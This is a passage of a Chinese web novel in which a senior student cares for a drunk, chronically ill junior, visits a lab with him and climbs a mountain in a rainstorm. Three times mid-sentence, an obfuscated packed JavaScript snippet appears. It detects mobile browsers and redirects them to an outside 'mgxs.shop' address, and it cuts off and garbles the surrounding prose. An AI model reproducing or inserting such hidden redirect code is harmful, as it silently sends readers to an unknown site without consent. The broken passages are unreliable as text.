应晏低头,目光落在夏丛宽阔的脊背上。 片刻后,他挪动两步,弯腰搂住夏丛的脖子。 夏丛立刻接住了他,稳稳地将应晏背起来。 太轻了。 夏丛几乎感觉不到背上的重量。 只有带着酒气的甜腻呼吸,软软地呼在他耳根和颈侧。 他微不可见地皱眉:“刚刚没看见你吃几串烧烤,不喜欢么?” 吃东西的时候,夏丛就注意到应晏只挑了几串蔬菜和鸡胸肉。 而且吃得很慢。 应晏在他背上摇头,发丝刮擦过夏丛的皮肤:“很香,但是我不能吃。” “为什么?”夏丛脱口问。 或许是醉酒的应晏太过坦诚,以至于夏丛下意识想追根究底。 但他很快意识到自己问了过界的问题,于是改口说:“你不用回答,没关……” 应晏却在他说完之前告诉了他。 “因为我生病了,失盐型CAH,不能喝酒,也不能吃好吃的。” “从出生起就不能吃。” 应晏说得很平淡,就好像这是一件再正常不过的事。 夏丛自知问得太多,没再追问下去。 偶然有车疾驰而过,在他们身边掠起一阵凉爽的风。 应晏忽然动了动,挣扎着想从他背上跳下来。 “怎么了?”夏丛反手抱紧了他。 应晏蹭了蹭夏丛的后背,带着困意地说:“我想看星星,但是在你背上仰起头的话会摔下来。” 夏丛便蹲着,护送应晏安稳落地。 应晏显得很兴奋,跟夏丛指出天上的星座。 从学校到小区的道路昏暗,路灯间隔很远,从树木间长出来,因此树底下都是黑黑的一团影子。 应晏指累了,就低头追着夏丛的影子,一会儿跑到夏丛前面,一会儿又远远跟在夏丛后面。 忽远忽近。 应晏追累了,又只跟在夏丛背后,随着影子的长短,跟夏丛之间变化着距离。 再次走到路灯下,夏丛的影子被树影遮盖,而两人距离恰好最近的时候。 夏丛问:“为什么走这么远?” 应晏以为夏丛是说他跟在影子后面的事,垂着脑袋回答:“妈妈说,踩别人的影子很不礼貌。” 夏丛就牵起他的手,步伐放得很慢。 “跟着我,别让我找不到你。” 应晏点头,总是被别的东西吸引注意力的他,终于安安分分地走在夏丛身旁。 半晌,倏然笑了。 他小声地念叨,分不清是跟夏丛说,还是自己在碎碎念。 “我小时候也这样,爸爸说拉着我,像个小尾巴。” “然后,我就抓着爸爸妈妈一人一只手,吊在中间,”应晏的眼睛变得很亮,“他们能吊着我走好远。” 他说着,伸手指着正在路过的树:“从这里。” 手臂朝前偏移,指向另一棵树:“到那里。” 他跟着夏丛走到那棵树底下。 两个年龄段体会到的时间流速变得很明显,曾经觉得遥远的距离,也只需要几步就能抵达。 “好像也不远了……” 夏丛听着他的碎碎念念,适时回应着,望向他的眼神里总包含着一种暖意。 应晏走了几步,又耷拉着脑袋:“但是,我没有爸爸妈妈了。” 醉酒的人情绪会被夸张地放大。 应晏说完这句话,就怔忡地停在原地,直到被夏丛的手牵着往前带了一步。 夏丛感受到手上传来的阻力,回身看向应晏。 醉红的脸上又多了几抹红,分布在眼眶、鼻尖和嘴唇。 他固执地仰着头,睫毛翕动着,努力不让自己泪水坠落。 可剔透的泪滴在眼底积蓄着,决堤般掉落下来。 应晏仓皇地抬手擦掉眼泪,试图摆脱夏丛的视线,一个人向前走。 然而夏丛牵住了他。 还用力扣住拭泪的那只手,轻轻一拽,把应晏的脑袋搂进自己胸膛。 “乖,应晏,别用手擦眼睛。” 夏丛一手揉着应晏的头发,一手在应晏背后轻轻拍着:“想哭就哭吧,我们哭够了再回去,好不好?” 应晏小声呜咽,咸涩的泪水沾湿夏丛胸前的衣襟。 像是获得了某种认可,应晏肩膀猛然抖动,哭得气息急促,紧抱着夏丛,额角在对方怀里不安乱蹭。 两个修长的身影笼罩在昏黄灯光里,影子交叠在一起,在幽静的路边停留了很久很久。 应晏最后已经哭不出声了。 眼泪也仿佛流干。 他就这样贴在夏丛怀里,没有抽离,没有任何别的动作。 就像一个乖巧的毛绒玩偶,眨着扑闪扑闪的眼睛。 夏丛低头,只看见对方柔顺的发丝。 他弯腰捧着应晏的脸。 后者慢半拍地抬起眼,湿红的眼呆滞空洞,隐隐透露出一点不舍。 留恋着这个怀抱。 “认不得人了?” 夏丛浅笑,捏了捏面前泛红的脸。 “应晏?” 没有回应。 于是夏丛换了个称呼:“小晏?” 男生迟缓地动了动眼珠,眉头极轻地拧了一下。 哦,看起来有点抗拒。 夏丛就放弃了这个称呼。 他朝男生走近一步,四目相对。 他含笑的面容,清晰地映在应晏湖面一样澄净的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146420|196389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里。 “晏晏?” 应晏的眼神蓦地变亮。 刚刚止住泪意的双眼,重新浮起一片润湿。 破碎的嗓音,从发哑的喉间挤出:“嗯……妈妈。” 果然不认人了。 夏丛被毫无预兆的亲昵称呼叫得心跳一紧,却并没有试图纠正。 他笑意不减地低声默念:“是妈妈么?” 夏丛将应晏打横抱起,尽可能温柔地放缓语速:“晏晏,我们回家好不好?” 应晏攀着他的脖子,一声不吭地点点头。 路灯下的影子再次行动起来。 应晏不觉间睡着,却攥着夏丛胸口衣服上乱晃的链子。 仿佛害怕一松手,眼前的一切温情都会消失。 他把额头抵在夏丛大臂凸起的肌肉里,细软地喃喃道:“妈妈,我好想你。” 一声很轻的叹息响在头顶。 应晏困倦睁眼时,看到的是男人线条硬朗的下颌。 出租屋外的灯光亮度很低,电梯的嗡鸣震得耳根发麻。 应晏盯着他的脸凝望了许久,忽然没头没尾地咕哝:“你不是妈妈。” “妈妈身上香香的暖暖的,你硬硬的。” 夏丛有些无奈地勾唇,胸腔轻颤。 只是现在抱着应晏,他分不出手拿钥匙。 乌沉沉的眼睛向下瞥去,男生困惑地打量着他,像是不理解妈妈怎么不见了。 夏丛柔和的神情里多了一丝警惕。 背后的衣摆处,悄无声息地支出一根滑腻的、遍布凸起的触手。 触手伸向衣服口袋,顶端卷起一把钥匙。 就在这时,应晏豁然开朗:“你像爸爸。” 夏丛刚要收起的触手顿在原处。 随即放心地将钥匙插进锁孔。 他低沉的语调拖得很长:“我们晏晏要跟爸爸妈妈回家了。” 他操控触手开了锁,将应晏送回房间。 男生苍白的脸上浮着醉酒的潮红。 在路上折腾半天,应晏沾到床的瞬间,就抱着自己的玩偶沉睡。 夏丛无意多作停留,动作轻缓地脱掉应晏的外套,在床头放了一杯水后,便起身离开。 却被应晏抓住了衣角。 男生可怜巴巴地仰望着他,委屈地说:“不要走。” 夏丛顺势坐在应晏床边,握着那只过分冰凉的手。 “晏晏要睡觉,我就在外面守着你好不好?” 男生皱起了眉:“不要……我害怕。” 夏丛:“一个人睡觉会害怕么?” 应晏脸色放松些许:“嗯……爸爸会给我讲睡前故事。” “睡前故事?”夏丛为难地掏出手机,“晏晏喜欢听什么?” 应晏:“爸爸会自己编故事。” “……”但夏丛不会。 他随机选了一个童话,开始朗读之前,他捂住应晏的眼睛:“那晏晏要乖乖闭上眼睛。” 掌心被男生浓密的睫毛刮了一下。 一种难以言喻的触感,从掌心传递至心口。 很痒,又不止是痒。 就像置身在彩虹泡泡的海洋中,气泡升空、碎裂,细小的水珠滴落下来,在他全身的皮肤上绽开。 他不疾不徐地将童话故事展开。 暖调的床头灯里,漂浮着精灵的踪迹。 柔和光线下,男生侧脸藏进小熊的绒毛里,呼吸渐渐平缓。 窗户拉开小缝,夜风和蝉鸣滑了进来。 他拾起床尾的薄毯,搭在应晏身上。 转身离开前,夏丛关掉床头灯,拨开应晏湿软的碎发。 “晚安,应晏。” 12. 第 12 章 应晏做了个好真实的梦。 梦见父母出现在他身旁,陪他走了一晚的路,还接他回家,给他讲故事。 橙黄的夕阳照着窗玻璃,投射到应晏眼角。 他翻身看了眼时间,发觉已经是傍晚了。 或许真的是日有所思夜有所梦,他终于在醉酒后见到了父母。 宿醉后头有点晕。 但他不想醒。 迷迷糊糊地拿了换洗衣服,应晏离开房间前,偶然瞥到床头柜上还有一杯没动过的水。 啊,不是梦。 应晏脚步顿住,短暂地震惊之后,眼神变得茫然。 除了夏丛之外,不可能有任何别的人知道他住在哪里,又恰好能把他从烧烤摊送回来。 所有的一切都不是梦。 只是他把某个人当成了父母,借着酒劲撒娇。 意识到这一点的应晏,想起昨晚自己对夏丛的作为,羞赧的脸立刻爬上红晕。 比醉酒时的颜色更深。 半小时后。 应晏带着一身氤氲着茉莉香味的雾气走出浴室。 夏丛正好从厨房出来。 目光在他软白的脖颈处停留片刻,夏丛微笑着:“头还晕么?我给你蒸了个红薯,还有燕麦奶、小番茄,这些能吃么?” “能。”应晏用毛巾揉着头发的手重了一下,看向夏丛的眼眸里交织着复杂的情绪。 他昨晚是对夏丛说过自己的病。 却没想到夏丛记得,还会特意查资料,特意为他准备能吃的食物。 “学长。” 应晏眸光闪动,认真地说:“谢谢你。” “还有……” 发梢的水珠在眼前划过。 应晏拘束地站着,擦头发的动作变得机械。 “对不起。” 两人异口同声道。 应晏迷茫地看过去。 夏丛惊诧抬眼,随即弯着眼,爽朗地笑了一声。 夏丛正色:“昨晚趁你喝醉的时候,听到了一些你不想被人知道的事情。” “抱歉,我不会告诉任何人的。”夏丛说。 应晏摇了摇头:“是我没听你的话喝了酒,还对你耍赖,耽误你很多时间吧。” “麻烦学长了。” “而且,其实不是不想被人知道……”应晏顺口说下去,却及时地住了嘴。 幸好夏丛看出他的窘迫,没有追问。 不是不想被人知道。 只是自己想起来,会很难过。 所以应晏没有对别人提起。 他不愿意接受别人怜悯的好意。 那种偏袒,反而时刻提醒着他,自己与别人有多不同。 他害怕被同情。 * 那天之后,两个人默契地翻篇不再提及。 夏丛说,数据他会亲自记录,应晏害怕的话就不去实验室了。 应晏也的确有两个星期没有再去。 时间一刻不停地向前奔流。 下周三开始,就是国庆假期了。 应晏上完周五的最后一堂课,准备去酒吧的时候,亮起的手机屏幕跳出一条新的消息。 汤文:[你国庆假期要回家吗?我没抢到票,大概要在寝室里发霉了TAT] 应晏一边朝酒吧走,一边回复。 [我也不回。] [不过竞赛小组国庆期间不用做实验么?] 如果要做实验的话,汤文应该不至于宅到生蛆吧。 汤文:[别提了!] 因为陈维之的关系,汤文最近跟组员相处还算融洽。 [你是不知道,他们有些人周一周二课少的直接翘课,今天就坐高铁回家去了/怒] [今天才周五啊!这群王八蛋,明天的实验他们估计也要翘。] [哦对,那个刘宁也是,找了几个代课,说是明天就走。] 再次看到这个名字,应晏才发觉他淡出自己的生活,已经很久了。 如果刘宁不在的话…… 应晏:[明天我也想去实验室看看。] 汤文立刻兴奋地说:[快来快来!好久没见过你了!] [我们还可以顺便商量一下国庆去哪玩。] 于是周六早上九点整,应晏出现在实验室门口。 如汤文所说的那样,参与的人稀稀落落,远远比不上第一次做实验那天来得整齐。 出乎意料的是,刘宁并没有走。 应晏挪开视线,若无其事地从他身边擦过。 几个眼熟的人在准备器材,互相打过招呼后,应晏走到汤文和陈维之旁边。 汤文剪掉了长发,脸上的烫伤被口罩遮住,露在外面的眉眼俊逸。 应晏一来,他就自来熟地搭着应晏的肩,带着调笑的语气说:“应晏啊,陈维之要回家,国庆节只有我们两个相依为命了。” 应晏的身体僵硬地拉开一点距离。 他还是不喜欢跟人肢体接触。 只是对自己的朋友,他依旧弯眼腼腆笑着。 汤文早就习惯了他话少,自顾自地说下去。 “宁川这边有什么好玩的,”汤文划拉着旅游推荐页面,“我看看啊……” 纠结中,紧靠教室的楼梯间传来说话声。 一贯随和温润的腔调,随着逐步靠近的距离,字句都变得越发清晰。 认出这个音色的瞬间,应晏的第一想法是: 完了! 他来的时候忘了跟夏丛说。 虽然夏丛不可能阻止他来参观实验,但毕竟学长说过,怕的话尽量不要来。 既然是操心他,那他就该提前打个招呼,免得对方担心。 应晏下意识躲藏,慌乱间朝器材室奔去。 边跑边小声说:“就当我没来过哦。” “哎?”汤文眼疾手快地拽住他,盯着应晏紧张泛红的脸,纳罕道,“你躲什么?” 应晏动作卡壳。 对啊,他躲什么? 可余光瞥到夏丛的身影出现在后门时,应晏又把脑袋缩回器材室,扶着遮挡他身体的墙,只露出一对漂亮的眼睛。 汤文顺着他的视线望过去,看到了从容自若的夏丛。 “怪了,”汤文说,“你们在玩什么play么?” Play? 应晏想了想。 他的行为好像是有点幼稚,就像在跟夏丛玩笑打闹一样。 算是play吧。 于是他坦然地点点头:“对呀。” 说完就把两只眼睛也缩回去。 因此,他没有发现,汤文神色变得古怪。 而陈维之听到他的回答后,更是一脸“我就知道”地瞪大了眼。 外面一阵嘈杂。 夏丛迅速分配了任务。 即使少了几个人,也因为夏丛的调度而有条不紊。 看来学长没有发现他。 应晏松了口气,前后晃晃手臂,参观起器材室来。 却突然有人叫了声他的名字。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146421|196389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“应晏呢?” 是刘宁的声音。 发现应晏不见,刘宁还四处游走,在每一张实验桌底下找了一眼。 夏丛被吸引了注意,目光跟随刘宁,在实验室里扫荡一圈。 刘宁:“刚刚不是还在这呢。” 说着,刘宁朝器材室走来。 一眼就抓到了贴在墙壁背后竖耳偷听的应晏。 “你怎么藏这里来了?” 应晏极不情愿地被刘宁拽了出来。 对上夏丛的视线时,他默默地垂下了头。 而刘宁则收到了来自陈维之和汤文的大白眼。 刘宁:“对了应晏,你国庆要不要跟我一起回老家?去年过年的时候,你外婆一直在想你。” 应晏抽回被握着的手腕,独自走到窗边:“我不回家。” 潋滟的双眸含怨,却没有半点威慑力。 窗外成荫的绿树,将他的背影衬得柔软。 刘宁和应晏不对付,是早在刚开学的庆功宴时,就被组内的老成员知晓的事实。 后来应晏加入小组那天,火药味更是浓郁地传入每一个人的脑中。 所以此刻,当他们看到刘宁和应晏谈起老家时,不约而同放下了手里的工作。 都争抢起离两个人最近的活。 夏丛沉沉地清了声嗓子,狭长的双眸略微弯起,笑意浅淡,反倒令人生畏。 “好了,大家别耽搁了,早点做完实验,就回寝室吧,不是都急着收拾行李回家么。” 人群又一哄而散。 实验井然有序地进行。 应晏趴在窗台上发呆。 上次来的时候闻到的花香味已经消失了。 取而代之的是清新的空气。 中途休息的几分钟里,夏丛才走到应晏身边。 他没有问应晏为什么出现在这里,也没有纠结应晏为什么来了不和他说。 他只是随手勾了张凳子,坐在应晏身旁。 夏丛撑着头,明明没有花的香气,应晏却感觉到他深深地吸了口气。 然后,夏丛的嘴角扬起的弧度更高。 他问应晏:“无聊么?” 应晏如实说:“有点。” 他也想不通自己为什么突然决定来实验室参观。 结果只是盯着窗外数路过的车。 夏丛:“你要先回去么,还是等我一起?” 应晏想了想:“我在这里坐会儿。” 夏丛:“那你等我一下。” “好。”应晏以为夏丛要他一起回家。 这两个星期里,只要课程有重叠的,夏丛就会叫应晏坐他的车。 时间一久,应晏就不像之前那样拒绝了。 不过,他还是没想好要怎么报答学长。 只知道自己欠对方的越来越多。 几分钟后,夏丛去而复返。 脚步缓缓靠近,停在不远处,轻轻拍了一下应晏的肩。 应晏转回头,看见夏丛对他俯身。 高高的身影能将他完全笼罩,却保持着一小步距离,让压迫感不那么强。 手臂从背后绕出来,持着一株浅白色的花。 花瓣与茎叶连接的地方,绿色渐渐过渡。 这是一株3D打印出来的栀子。 花瓣上甚至有细密的纹路,足够以假乱真。 夏丛对他笑着,日光透过眼睫落在深黑的瞳孔,映出细碎的光晕。 “送给你。” “永远不会凋谢的花。” 13. 第 13 章 回出租屋的路上,应晏手心里一直握着夏丛给的花。 娇艳明媚。 纤细的手指摆弄着花瓣,眼角微弯,亮闪闪的双眸里盛满了惊喜。 到房间做的第一件事,应晏从书桌上拿了个闲置的插花盆。 他延续了母亲的爱好,只是上大学后很少有空。 应晏小心翼翼把栀子插进花盆里,歪着脑袋抚摸几下它的花瓣。 听到夏丛开门的声音,应晏跑了出去。 半个脑袋露出门缝:“学长,你国庆节不回家么?” 刚要进门的夏丛停下脚步。 顿了两秒,夏丛才转过身来。 他摇头,无奈地笑了笑:“嗯,没抢到票,就不回去了。” 像是经应晏一提醒,夏丛想起了什么。 “中秋那天天气不错,我们去爬山看日出吧?我选了一座小山,人不多,也有缆车可以坐上去。” “你不忙的话,想和我一起么?” 应晏摇头。 中秋前后酒吧也会放假,他本来打算自己宅在房间里,看看电影、收拾房间,再学点专业课。 他不是一个喜欢出门的人。 应晏犹豫:“我……” 夏丛意外地挑眉:“中秋也有事么?那算了,不去也没关系。” 虽然没有表现出来,应晏却感觉夏丛有一点失望。 但对方明明保持着原来的笑意不变,语气也明亮爽朗。 “我没有事。”应晏立即解释道。 夏丛了然,对他弯唇:“就是不想出门?” 被说中的应晏红了下脸,不好意思地点头说是。 “或者,如果看日出太早了,我们可以下午去看日落,就是中午爬山会有点热。” “你身体会受不了么?我也不是很想去,只是有个伴会觉得有趣。要不,我们就当出去随便走走,你累了不想走了,我们就回来。” 夏丛没有强求,语气轻快:“看你压力挺大,偶尔出去透透气,进行一下光合作用也没坏处。反正去不去都看你,怎么样?” 对爬山有点心动的应晏,听到最后一句话的时候,被夏丛的措辞逗笑。 “人也要光合作用么?” 温润的杏眼甜甜地弯起,颊边梨涡深陷。 没有反驳夏丛的提议,多少是有松口的迹象。 于是夏丛俯身平视着他,用理所当然的语气同他开玩笑说:“植物光合作用生存,人光合作用养神。” 夏丛说完,趁机将选择权交给应晏:“想去么?” “想,”应晏毫不犹豫地答应了,“不过,我们还是早上去吧。” 太热了他身体会吃不消。 跟夏丛约好一起爬山后,应晏期待了好几天。 他已经很久没有参与过户外活动了。 小时候学校有春游活动,他也因为身体问题,被特许可以留在草地上,不参与剧烈活动。 他那时看到同学们放风筝时欣喜的神情,只觉得羡慕。 所以到约定的前一晚,应晏激动到差点睡不着。 他反复确认自己的背包里装好了水和防晒霜,以及一些应急的药品。 随后把登山要穿的防晒衣叠在床头。 对面房间传来轻微走动的声音。 应晏关掉灯,平躺在床上,最后看了一眼天气预报。 晴,23~25℃,适合爬山的好天气。 应晏心满意足地闭上眼,凌晨四点准时关掉了第一声响起的闹钟。 对面的夏丛已经整装待发。 应晏快速洗漱完,背上背包,跑到夏丛眼前。 发梢还滴着洗脸时沾上的水。 “淡盐水,”夏丛对着他晃晃手里透明的水瓶,“难受的话喝这个会好很多。” 应晏眼睛蓦地睁大,水瓶反光在他眼里映出清透的亮色。 他自己也准备了补液盐。 但从来没想过学长会考虑到这一点。 于是他礼貌地接了盐水,对夏丛说:“谢谢!” 夏丛却只是伸出一根手指,抵在应晏唇边。 “嘘,”夏丛看着他把盐水塞进背包里,随即极其自然地从应晏手上接过包,微微俯下来的身体在应晏脸上投落深黑的影子,“别说谢谢了。” 背包斜挂在学长宽厚的肩膀上,脊背线条结实挺拔。 夏丛侧过脸,嘴角上挑:“走了。” “哦!”应晏点头,急忙跟了上去。 黑色的车绕着环城公路缓缓行驶,天色还暗着,除了外围的路灯还亮着,其他地方漆黑一片,根本看不清山路。 夏丛把车泊在山脚景区外的停车场里,两人先后下了车。 凌晨的风从背后钻进脖子,应晏捂着裸露在外的手臂,朝四周环顾一圈。 时间虽然才四点,但宽阔的广场上聚集了不少人。山体间亮着星星点点的闪光灯,一晃一晃地慢慢向上攀登。 “冷么?”一件薄外套披在应晏肩头。 衣服上沾着清爽的香气。 应晏回过头,只看到夏丛的手正好从他肩膀撤下。 学长背着装满的包,把淡盐水拿了出来:“要先喝一口么?” “嗯。”应晏点点头,双手捧着夏丛递过来的水瓶,仰头润了润喉。 夏丛自然地接了他的水,插在背包侧兜里,朝前走了两步。 “……”应晏扯着肩头的外套,对着夏丛的背影欲言又止。 而夏丛转身看向他,微微挑了一边眉:“简单热下身吧,要是累了我们就歇一会儿坐缆车上去,可以么?” 夏丛根本没有把外套要回去的意思。 应晏犹豫片刻,拢了拢衣服,快步跟上夏丛的节奏:“好,谢谢学长。” 温柔的风穿行而过,两个交叠的影子谈笑着做了热身之后,并肩朝山路上走去。 台阶低矮平缓,登顶的难度不高。 他们走得不快,几乎是夏丛迁就着应晏的步伐,停停走走。以至于不时有人从两人旁边擦身而过。 登山的过程相对轻松,但爬到半山,应晏还是有些气喘。起先觉得寒凉的夜风吹在身上,也只是让他略感热意的身体稍稍降了下温而已。 夏丛眼尖地注意到他泛白的脸色,扶着应晏让到栏杆旁,帮他拧开瓶盖,将淡盐水喂到他唇边:“还好么?” “还可以。”应晏轻轻含了一小口盐水,唇色被润湿,他对夏丛牵起嘴角,“继续吧。” 夏丛似乎是皱了下眉。 见应晏呼吸平稳,才放下心,搀着他走了几步。 脸上忽然感受到几滴冰凉。 随即毫无预兆地,大雨倾盆。 狂风呼啸着卷过树梢,宽大叶片被刮了下来,重重地砸到地面,溅起浑浊水花。 夏丛面色一僵,迅速作出反应,将手护在应晏头顶,朝四周找寻。 半山腰间有休息的亭子,虽然四面透风,但好歹头顶是遮住的,能临时避避雨。 应晏的手臂被轻轻扯了一下,夏丛把应晏身上的外套掀起,笼在他头顶。 自己则是冒着雨将包背在面前,然后在应晏眼前蹲下,二话不说地背起瘦弱的男生,跑进地面湿透的凉亭。 外套被雨水浇透,从应晏头上拿下来的时候,还往下滴着水。 应晏无措地呆在原地。 愣愣地看着夏丛随手将外套搭在栏杆上,再从背包里抽出几张洗脸巾,揉着应晏的头发。 “我没有淋到。”应晏缓慢地眨了下眼。 可夏丛像是没有听见,不仅一刻不停地用洗脸巾擦拭他的头发,还顺势把他搂进怀里。 头顶传来学长低沉却紧张的声音:“抱歉,我抱着你应该会暖和一点,是我没有带伞。” 应晏僵直着身子呆了几秒,才慢慢放松下来。 他在夏丛温暖的怀里摇摇头:“我也没带,天气预报说不会下雨,你没有错。” 衣服湿湿的,黏在夏丛身上。 某些块垒分明的肌肉,深刻清晰地雕琢在湿得近乎透明的衣服间。 被应晏握成拳的手指抵着,软软地下陷。 凉亭很快挤满了人。 唰啦啦的雨声,混着嘈杂的人声。 像一锅煮沸的滚水。 一句极其清晰且义愤填膺的怒吼响起:“操!!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146422|196389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群先安静了一瞬,随后爆发出一阵狂笑。 应晏仰起头,对上夏丛忍俊不禁的视线。 半秒之后,两个人同时低头笑起来。 夏丛的手里抓着洗脸巾,依然给应晏揉着头发。 十月的暴雨去得飞快。 往这片山里浇了几盆水后,就被热浪驱逐,乘着云层火速撤离。 夏丛提起外套,陪着应晏坐缆车上山顶。 燥热的气温在他们登顶之前就把湿润的衣料蒸干。 寺庙里有公共的洗浴间供应,可以容纳十多个人同时洗漱。 夏丛找小贩买了两条毛巾,带应晏排进队伍末尾。 然而排到他们的时候,应晏朝里看了一眼。 啊,没有隔板。 热气蒸腾的薄雾并不厚重,所有人几乎都坦诚相见。 握着毛巾的手紧了紧。 应晏原地退缩,忽闪忽闪的眸光带着一丝逃避:“学长……我突然想找厕所,等会儿再来吧。” 夏丛接了毛巾,想和他一起:“我陪你找?” 应晏摇头:“不用,我自己可以。” 不管是谁,他都不想被看见。 夏丛沉吟了两秒。 目光锁在他的脸上,像是懂了什么,偏开头:“好。” 夏丛走了进去。 应晏让到队伍外,等到同一批淋了雨的人都排好队了,才扭捏着站到最后。 他低着头出神。 眼前突然出现一双极其熟悉的鞋。 “学长?”应晏抬头,惊讶地称呼对方。 夏丛衣服干燥,跟他们分开前一模一样。 不像是洗过了。 看出应晏眼底的疑惑,夏丛笑了一声:“人太多,我被挤出来了,就去找了你一圈。” 应晏呆呆地回答:“哦。” 夏丛笑意更甚地俯身,歪头凑到他眼前:“没找到你,又不好插前面的队,就绕到后面来了。结果就看见你一直让人先去。” 一列人缓慢地移动着。 应晏背后的确没有再出现新的人。 终于只剩下他们两个的时候,夏丛抓着毛巾问他:“你真的不进去么?现在里面很空。” 应晏固执地点头。 夏丛早有预料,也不逼他,就先推开木门:“行,那我先试试水温。” 十分钟后。 夏丛拉开木门出来。 潮热的风,混着干净清爽的香气,扑到应晏脸上。 夏丛发梢滴着水,一对黑沉沉的瞳孔被洗得更显深邃。 “该你了,”夏丛抬手擦着头发,朝旁边让出一个身位,“你后面没有人了。” 应晏呆滞了一会儿,迟钝点头:“嗯。” 他错开夏丛的肩,溜进浴室。 衣服一寸寸地剥离。 沁凉水雾缓缓漫过白皙的锁骨,湿润的触感瞬间将他包裹。 修长匀称的小臂抬起,取出花洒时,恰有一滴水珠落到皓白的腕骨上。 而后,温水淋了下来,从脖颈划到锁骨,顺着柔软的腰线,淌过笔直的双腿。 应晏眯了一下眼。 热水都被用完了,有点冷。 但这个天气里,用冷水洗澡的都大有人在。 所以应晏咬牙,决定将就洗完。 只有水声的淋浴间里,倏然响起一道敲门声。 花洒啪嗒落地,细小水柱在地面形成一个控制不了方向的小型喷泉。 四处飞溅。 “是我。”熟悉的爽朗的嗓音。 分辨出声线,应晏顿时松了口气。 紧接着,脊背再次绷紧。 向来耐心的学长此时找他,或许是有非要他立刻开门的事。 可应晏不想也不敢开。 夏丛温声解释:“热水不够了,我拜托住持给你烧了两桶热水。” “你要不开门接一下?我转过去,不看你。” 原来夏丛注意到了。 但藏着秘密的应晏不打算开门。 拒绝的话刚到嘴边,就听见夏丛说: “对了,你毛巾忘了带。”